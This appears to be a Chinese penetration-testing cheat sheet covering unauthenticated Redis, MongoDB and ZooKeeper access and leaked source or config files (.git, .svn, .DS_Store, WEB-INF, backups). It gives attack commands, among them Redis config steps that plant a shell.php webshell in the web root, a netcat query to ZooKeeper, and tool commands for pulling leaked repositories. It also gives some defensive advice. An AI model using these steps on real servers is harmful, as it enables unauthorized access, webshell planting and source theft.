1.redis数据库任意访问
简介
redis默认数据库端口6379,
未设置密码造成任意访问,然后使用redis权限写文件。
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。
命令使用
info //查看redis版本信息、一些具体信息、服务器版本信息等等:
set x "test" //将变量x的值设为test
flushall //删除数据库,谨慎使用
KEYS * //查看所有键,redis存储数据模式为 一键一数据对应。
CONFIG GET dir //获取默认的redis目录
CONFIG GET dbfilename//获取默认的rdb文件名
往web物理路径写webshell
redis远程连接 redis-cli -h xx.xx.xx.xx
redis本地打开 redis-cli
redis服务打开 redis-server
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell
执行以下命令
192.168.63.xx:6379> config set dir /var/www/html/
OK
192.168.63.xx:6379> config set dbfilename shell.php
OK
192.168.63.xx:6379> set x ""
OK
192.168.63.xx:6379> save
OK
2.mongodb数据库任意访问
简介
mongodb默认数据库端口为27017
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库
在刚安装完毕的时候MongoDB都默认有一个admin数据库,此时admin数据库是空的,没有记录权限相关的信息!当admin.system.users一个用户都没有时,即使mongod启动时添加了—auth参数,如果没有在admin数据库中添加用户,此时不进行任何认证还是可以做任何操作(不管是否是以—auth 参数启动),直到在admin.system.users中添加了一个用户。加固的核心是只有在admin.system.users中添加用户之后,mongodb的认证,授权服务才能生效
命令使用
远程连接 mongodb ip
root@xiaozhupeiqi:~# mongo xxx.xx.xx.xx
MongoDB shell version: 2.6.10
connecting to: xx.xx.xx.xx/test
Server has startup warnings:
2018-10-19T14:47:46.342+0800 I CONTROL [initandlisten] ** WARNING: You are running this process as the root user, which is not recommended.
2018-10-19T14:47:46.343+0800 I CONTROL [initandlisten]
2018-10-19T14:47:46.343+0800 I CONTROL [initandlisten]
2018-10-19T14:47:46.343+0800 I CONTROL [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/enabled is 'always'.
2018-10-19T14:47:46.343+0800 I CONTROL [initandlisten] ** We suggest setting it to 'never'
2018-10-19T14:47:46.343+0800 I CONTROL [initandlisten]
2018-10-19T14:47:46.343+0800 I CONTROL [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/defrag is 'always'.
2018-10-19T14:47:46.343+0800 I CONTROL [initandlisten] ** We suggest setting it to 'never'
2018-10-19T14:47:46.343+0800 I CONTROL [initandlisten]
利用sql语句
show databases;
use admin;
show tables;
等命令
或者
show dbs; #查看全部数据库
show collections; #显示当前数据库中的集合(类似关系数据库中的表)
show users; #查看当前数据库的用户信息
use dbname; #切换数据库跟mysql一样
显示db状态
db.stats()
{
"db" : "admin",
"collections" : 3,
"objects" : 5,
"avgObjSize" : 217.4,
"dataSize" : 1087,
"storageSize" : 69632,
"numExtents" : 0,
"indexes" : 5,
"indexSize" : 122880,
"ok" : 1
}
3.ZooKeeper未授权访问
简介
Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。
漏洞利用
执行以下命令即可远程获取该服务器的环境:
echo envi | nc xx.xx.xx.xx 2181
zookeeper.version=3.4.10-39d3a4f269333c922ed3db283be479f9deacaa0f, built on 03/23/2017 10:13 GMT
host.name=AY1304161249343xxxxx
java.version=1.8.0_171
java.vendor=Oracle Corporation
java.home=/usr/local/java/jdk1.8.0_171/jre
java.class.path=/data/zookeeper-3.4.10/bin/../build/classes:/data/zookeeper-3.4.10/bin/../build/lib/*.jar:/data/zookeeper-3.4.10/bin/../lib/slf4j-log4j12-1.6.1.jar:/data/zookeeper-3.4.10/bin/../lib/slf4j-api-1.6.1.jar:/data/zookeeper-3.4.10/bin/../lib/netty-3.10.5.Final.jar:/data/zookeeper-3.4.10/bin/../lib/log4j-1.2.16.jar:/data/zookeeper-3.4.10/bin/../lib/jline-0.9.94.jar:/data/zookeeper-3.4.10/bin/../zookeeper-3.4.10.jar:/data/zookeeper-3.4.10/bin/../src/java/lib/*.jar:/data/zookeeper-3.4.10/bin/../conf:.:/usr/local/java/jdk1.8.0_171/lib:/usr/local/java/jdk1.8.0_171/jre/lib:.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib
java.library.path=/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.io.tmpdir=/tmp
java.compiler=<NA>
os.name=Linux
os.arch=amd64
os.version=3.2.0-29-generic
user.name=root
user.home=/root
user.dir=/data/zookeeper-3.4.10
防护
1、禁止把Zookeeper直接暴露在公网
2、添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
3、绑定指定IP访问
4.源码泄露篇
.hg源码泄漏
hg init的时候会生成.hg
工具:https://github.com/kost/dvcs-ripper
命令:rip-hg.pl -v -u http://www.example.com/.hg/
.git源码泄露
原理:在运行git init初始化代码库的时候,会在当前目录下面产生一个.git的隐藏文件,用来记录代码的变更记录等等。在发布代码的时候,把.git这个目录没有删除,直接发布了。使用这个文件,可以用来恢复源代码。
工具:https://github.com/lijiejie/GitHack
命令:python GitHack.py http://www.example.com/.git/
.DS_Store文件泄漏
原理:在发布代码时未删除文件夹中隐藏的.DS_store,被发现后,获取了敏感的文件名等信息。
工具:https://github.com/lijiejie/ds_store_exp
命令:python ds_store_exp.py http://www.example.com/.DS_Store
.SVN导致文件泄露
原理:SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,黑客则可以直接获得文件源代码。
在被利用的网址后面加 /.svn/entries,列出网站目录,甚至下载整站。
工具: https://www.waitalone.cn/seay-svn-poc-donw-20140505.html
命令:.exe文件傻瓜式操作粘贴 www.xxx.xx/.svn/entries
.bzr源码泄露
bzr也是个版本控制工具, 虽然不是很热门, 但它也是多平台支持, 并且有不错的图形界面,所以也有一些人认为bzr比git要好用。
原理:bzr在初始化项目时(bzr init/init-repo), 会在项目根目录产生名为.bzr的隐藏目录, 同样暴露了源代码和用户信息.
工具:https://github.com/kost/dvcs-ripper
命令:rip-bzr.pl -v -u http://www.example.com/.bzr/
.cvs源码泄露
原理:CVS是一个年代比较久远的版本控制系统, 通过它可以追踪源代码的历史变化记录,但是因为功能比较简单, 而且不支持分支, 所以很早前就被上面提到的svn替代了。cvs项目在初始化(cvs checkout project)的时候, 会在project目录下创建一个名为CVS的目录,
其中保存了各个文件的修改和commit记录. 通过此目录可以获取代码的历史版本. 其中两个关键文件为:
CVS/Root和CVS/Entries, 分别记录了项目的根信息和所有文件的结构。
工具: https://github.com/kost/dvcs-ripper
WEB-INF/web.xml泄露
WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml
:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/
:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/
:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/
:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties
:数据库配置文件
原理:通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。
漏洞检测以及利用方法:
通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。
一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!
利用:通过web.xml文件推测应用组件相关类的名字, 然后在src目录下查找代码, 如果没有源代码可以直接下载class文件反编译即可
## 网站备份文件泄露 ##
原理:在网站的使用过程中,往往需要对网站中的文件进行修改、升级。此时就需要对网站整站或者其中某一页面进行备份。当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站web目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。
.rar .zip .7z .tar.gz .bak .swp .txt
---
参考:
https://www.secpulse.com/archives/61101.html
http://www.hacksec.cn/Penetration-test/474.html